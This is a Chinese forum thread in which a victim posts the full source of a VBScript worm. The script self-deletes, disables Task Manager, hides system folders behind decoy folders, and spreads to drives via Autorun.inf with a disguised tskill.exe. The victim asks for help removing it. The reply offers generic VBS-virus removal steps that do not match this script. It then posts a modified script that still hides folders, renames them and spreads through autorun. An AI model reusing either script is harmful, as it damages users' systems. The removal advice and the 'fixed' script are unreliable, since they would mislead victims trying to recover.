一个双击后就自己消失，禁用任务管理器，文件夹带exe的vbs编程，如何破解？？？？
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Set ws=CreateObject("WScript.Shell")
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr",1,"REG_DWORD"
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(drv & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv & "\").SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
中招后会 D E F 等盘下的文件夹 全部多了个 exe， 不是 .exe ； 然后C盘里的windows、 program files 等文件夹全部不见了， 而且任务管理器也打不开，是灰色的，ctrl +alt+ del 也打不开，后来我把（RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr",1,"REG_DWORD"） 里的DisableTaskMgr",1,"REG_DWORD “1”改成“0”， 任务管理器就能用了
其他症状不知道怎么办， 求高手指点， 我再也不乱玩这个了，艹，上了当
怎样将 vbs编程什么的 清理掉？
exe删了， 那么C盘的呢？ C盘没有文件夹啊， 找不到， 怎么办？ 展开
由于VBS病毒具有容易嵌入到网页等特点，因此越来越多的黑客采用这种方式传播木马病毒。中了VBS病毒会让你在Windows下看到“.VBS”文件，系统进程中一直有wscript.exe进程存在，还有机器变慢等与其他病毒相同的现象。如果你遇到了这个情况，可以用下面的方法进行查杀。
第一步：先要禁止wscript.exe的运行。点击“开始→运行”，输入gpedit.msc。
第二步：在“组策略”窗格左侧，依次点击“计算机配置→Windows设置→安全设置→软件限制策略”项，然后点击“操作→创建新策略”菜单项。再从左侧选择“其他规则”。
第三步：在右侧窗格空白处右击，在菜单中选择“新建路径规则”项。在弹出的窗口中，点击“路径”后的“浏览”按钮，选择C:＼Windows＼System32文件夹下的wscript.exe文件，并将“安全级别”设置为“不允许的”(见图)
如果你有不想运行的文件，也可以在这里添加
第四步：将C:＼Windows下的System32、Dllcache和I386这两个文件夹下wscript.exe的扩展名去除，以防止病毒突破限制运行。注意，这期间会有Windows文件保护机制的报警，直接点击“取消→是”按钮即可。
第五步：在“任务管理器”中结束掉“wscript.exe”进程。
第六步：用IceSword等工具删除下面三个文件。
C:＼Windows＼.vbe
C:＼Windows＼System32＼.vbe
C:＼Documents and Settings＼All Users＼「开始」菜单＼程序＼启动＼.vbs
第七步：打开注册表编辑器，依次展开
HKEY_LOCAL_MACHINE＼Software＼Microsoft＼Windows＼CurrentVersion＼Policies＼Explorer＼Run
项，删除键。注意这里的“”是计算机名，电脑不同，名称也不同。
最后，恢复之前修改了文件名的wscript.exe文件即可。
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Set ws=CreateObject("WScript.Shell")
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr",0,"REG_DWORD"
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".111")
fso.GetFolder(C & Fdr.Name & ".111").Attributes=Fdr.Attributes
Fdr.Attributes=5
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(drv & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv & "\").SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="111" Then
Fdr.Name=Fdr.name & ".111"
End If
Next
End If
End If
Next
WScript.Sleep 1*1000
Loop
